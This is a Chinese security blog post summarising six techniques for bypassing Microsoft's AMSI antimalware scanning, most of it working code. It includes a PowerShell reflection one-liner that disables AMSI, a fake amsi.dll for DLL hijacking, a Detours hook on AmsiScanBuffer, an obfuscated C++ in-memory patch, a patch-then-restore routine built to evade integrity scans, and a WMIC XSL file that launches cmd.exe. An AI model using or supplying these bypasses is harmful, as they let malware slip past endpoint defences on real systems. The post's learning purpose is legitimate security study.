ASMI学习-总结
2022-6-29 17:31:16 Author: www.secpulse.com(查看原文) 阅读量:33 收藏

Microsoft 开发了 AMSI(反恶意软件扫描接口)作为防御常见恶意软件执行和保护最终用户的方法。默认情况下,Windows Defender 与 AMSI API 交互以在执行期间使用 Windows Script Host 技术扫描 PowerShell 脚本、VBA 宏、JavaScript 和脚本,以防止任意执行代码。但是,其他防病毒产品可能包含对 AMSI 的支持,因此组织不限于使用 windows Defender。

asmi工作原理

当用户执行脚本或启动 PowerShell 时,AMSI.dll 被注入进程内存空间。在执行之前,防病毒软件使用以下两个 API 来扫描缓冲区和字符串以查找恶意软件的迹象。

AmsiScanBuffer()
AmsiScanString()

绕过手段1-powershell降级

默认我新装的win10 不存在powershell -version 2
当然如果存在可以如下利用

PS C:Windowssystem32> powershell -version 3 -command whoamidesktop-pdj677pnolan
PS C:Windowssystem32>

绕过手段2-编码绕过-关闭系列

按照这篇文章 说实话 有手就行系列
https://mp.weixin.qq.com/s/Sg0LK8emSWP1m-yds4VGrQ
我的代码如下 今天刚测试能过

$a="amsiInitFaile"
$a=$a+[string]([char]100)
$b="System.Management.Automation.AmsiUtil"
$b=$b+[string]([char]115)
[Ref].Assembly.GetType($b).GetField($a,'NonPublic,Static').SetValue($null,$true)

绕过手段3-dll劫持

这里原理就是指定asmidll 让这个dll伪造以下两个检查函数
AmsiScanBuffer()
AmsiScanString()

#include "pch.h"#include <iostream>
BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    {

   }    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}LPCWSTR appName = NULL;typedef struct HAMSICONTEXT {    DWORD       Signature;            // "AMSI" or 0x49534D41    PWCHAR      AppName;           // set by AmsiInitialize    DWORD       Antimalware;       // set by AmsiInitialize    DWORD       SessionCount;      // increased by AmsiOpenSession} HAMSICONTEXT;typedef enum AMSI_RESULT {    AMSI_RESULT_CLEAN,    AMSI_RESULT_NOT_DETECTED,    AMSI_RESULT_BLOCKED_BY_ADMIN_START,    AMSI_RESULT_BLOCKED_BY_ADMIN_END,    AMSI_RESULT_DETECTED} AMSI_RESULT;
typedef struct HAMSISESSION {    DWORD test;} HAMSISESSION;
typedef struct r {    DWORD r;};
void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT* amsiContext) {};void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession) {};void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession) {};void AmsiResultIsMalware(r) {};void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) {};void AmsiUninitialize(HAMSICONTEXT amsiContext) {};

编译成功如下

dll劫持优先查找本目录dll

绕过手段4-hook绕过

参考x64sec
进程注入.exe-https://github.com/tomcarver16/SimpleInjector/blob/master/SimpleInjector/SimpleInjector.cpp

#include "pch.h"#include <Windows.h>#include "detours.h"#include <amsi.h>#include <iostream>#pragma comment(lib,"C:\\Users\\admin\\source\\repos\\MsMpEng\\detours_x64.lib")#pragma comment(lib, "amsi.lib")
#define SAFE "SafeString"
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length,    LPCWSTR contentName,    HAMSISESSION amsiSession,    AMSI_RESULT* result) = AmsiScanBuffer;
//Our user controlled AmsiScanBuffer__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length,    LPCWSTR contentName,    HAMSISESSION amsiSession,    AMSI_RESULT* result) {
   std::cout << "[+] AmsiScanBuffer called" << std::endl;    std::cout << "[+] Buffer " << buffer << std::endl;    std::cout << "[+] Buffer Length " << length << std::endl;    return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);}
BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  dwReason,    LPVOID lpReserved){    if (DetourIsHelperProcess()) {        return TRUE;    }
   if (dwReason == DLL_PROCESS_ATTACH) {        AllocConsole();        freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);
       DetourRestoreAfterWith();        DetourTransactionBegin();        DetourUpdateThread(GetCurrentThread());
       DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);        DetourTransactionCommit();
   }    else if (dwReason == DLL_PROCESS_DETACH) {        DetourTransactionBegin();        DetourUpdateThread(GetCurrentThread());        DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);        DetourTransactionCommit();        FreeConsole();    }    return TRUE;}

绕过方式5-内存补丁绕过

参考L.N师傅Bypass AMSI的前世今生(5) - 内存补丁
相关api调用流程

AmsiInitialize – 初始化AMSI API.
AmsiOpenSession – 打开
session AmsiScanBuffer – scans the user-input.
AmsiCloseSession – 关闭
session AmsiUninitialize – 删除AMSI API

这里L.N师傅说
我们还是以powershell为例,当我们打开powershell.exe,powershell.exe会加载
System.Management.Automation.dll,此dll会调用amsi.dll,因此我们只要分析清楚这2个dll里面的函
数调用和判断逻辑,就能在合适的地方修改判断逻辑,使得程序判断结果为我们指定的结果。
我们也跟进去看

从这里应该可以看出 其上System.Management.Automation.dll不是amsi真正的功能所在,只起一个获取返回结果的作用
进入AmsiUtils.ScanContent发现其实有三个点可以让amsiInitFailed = true;(下图没截完整)

// System.Management.Automation.Utilsinternal static bool Succeeded(int hresult){	return hresult >= 0;
}

接下来我们只需要伪造返回hresult小于0即可
而这个值是scanner扫描的结果如下

我们需要修改amsi内存里面AmsiScanBuffer或者AmsiOpenSession的返回值小于0
最后代码如下

#include <Windows.h>#include <stdio.h>#include <TlHelp32.h>#include <iostream>
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);typedef NTSTATUS(NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);
typedef HMODULE (NTAPI* LoadLibrars)(   LPCSTR lpLibFileName);int main() {
 STARTUPINFOA si = { 0 };  PROCESS_INFORMATION pi = { 0 };  si.cb = sizeof(si);
 char str1[12] = "lld.i";  char str11[12] = "sma";  _strrev(str1);  _strrev(str11);  char str2[20] = "reffuBna";  char str22[20] = "cSismA";  strcat_s(str11, str1);  _strrev(str2);  _strrev(str22);  strcat_s(str22, str2);  char str3[30] = "exe.llehsrewop";  char str[30] = " -NoExit dir";  _strrev(str3);  strcat_s(str3, str);

 std::cout << "[+] Start to att AMbypass " << std::endl;  CreateProcessA(NULL, (LPSTR)str3, NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);  HMODULE hModule1 = LoadLibraryW(L"kernel32.dll");
 LoadLibrars LoadLibraryA = (LoadLibrars)GetProcAddress(hModule1, "LoadLibraryA");  //HMODULE Springam = LoadLibraryA(str11);  HMODULE hModule = LoadLibraryA(_strrev(_strrev(str11)));  LPVOID PSpringbuffer = GetProcAddress(hModule, str22);

 DWORD got;  char server = 0xc3;
 VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, PAGE_EXECUTE_READWRITE, &got);  WriteProcessMemory(pi.hProcess, (LPVOID)PSpringbuffer, &server, sizeof(char), NULL);  VirtualProtectEx(pi.hProcess, (LPVOID)PSpringbuffer, 1, got, NULL);  CloseHandle(pi.hProcess);  CloseHandle(pi.hThread);  //FreeLibrary(Springam);  return 0;






}


当然后面L.N师傅还给出了两方面的对抗手段

内存补丁对抗手段1-偏移量检查对抗

第一种检测手法,是找到函数的偏移,然后判断便宜处的二进制是否被修改,通过上面的代码我们也知
道,我们直接在函数开始地址处打补丁,我们可以增加偏移量,让补丁出现在函数种的其他位置,代码
如下:

内存补丁对抗手段2-完整性内存扫描缺陷对抗

第二种因为是完整性检测,我们修改代码后就能被扫出来,但是第二种侦测方法有个缺陷,就是不可能
一直扫描内存,要不使用按频率扫描,要不使用触发扫描,触发扫描比较常见,例如当侦测到
AmsiOpenSession API被调用,就触发扫描。我们对抗方法是打补丁后执行恶意代码,执行完再还原内
存,这样内存修改只是一瞬间,代码如下:

[email protected]" using System; using System.Linq; using System.Runtime.InteropServices; public class Program { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfloldProtect); public static void Patch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x75; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); }public static void UnPatch() { String a = "isma"; IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) + ".dll");IntPtr addr = GetProcAddress(lib, "AmsiOpenSession"); addr = addr + 3; uint old = 0; byte[] p; p = new byte[1]; p[0] = 0x74; VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); Marshal.Copy(p, 0, addr, p.Length); VirtualProtect(addr, (UIntPtr)p.Length, old, out old); } }"@Add-Type $p [Program]::Patch() [Program]::UnPatch()


这里是LN师傅发现的巧妙之处

绕过手段6-wmic调用bypass

参考wmic执行的时候asmi主要是对一些关键字进行crc32校验 - https://posts.specterops.io/antimalware-scan-interface-detection-optics-analysis-methodology-858c37c38383 

如下

if ( v16 == 0x788C9917 || v16 == 0x96B23E8A || v16 == 0xB8DA804E || v16 == 0xC0B29B3D || v16 == 0xD16F4088 || v16 == 0xD61D2EA7 || (v17 = 0, v16 == 0xEF726924) ) if ( v26 == 0x46B9D093 || v26 == 0xF837EFC3 )

这里SpectreOps 团队研究发现

这里我这个都没检测发现

<?xml version='1.0'?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script></stylesheet>

wmic process list /FORMAT:evil.xsl
这里还有一点需要关注就是当远程调用wmic时 默认扫描

总结

AMSI手段当然不止这些,今天就先学到这里

PS:慢就是快,少就是多

本文作者:白帽100安全攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/182120.html


文章来源: https://www.secpulse.com/archives/182120.html
如有侵权请联系:admin#unsafe.sh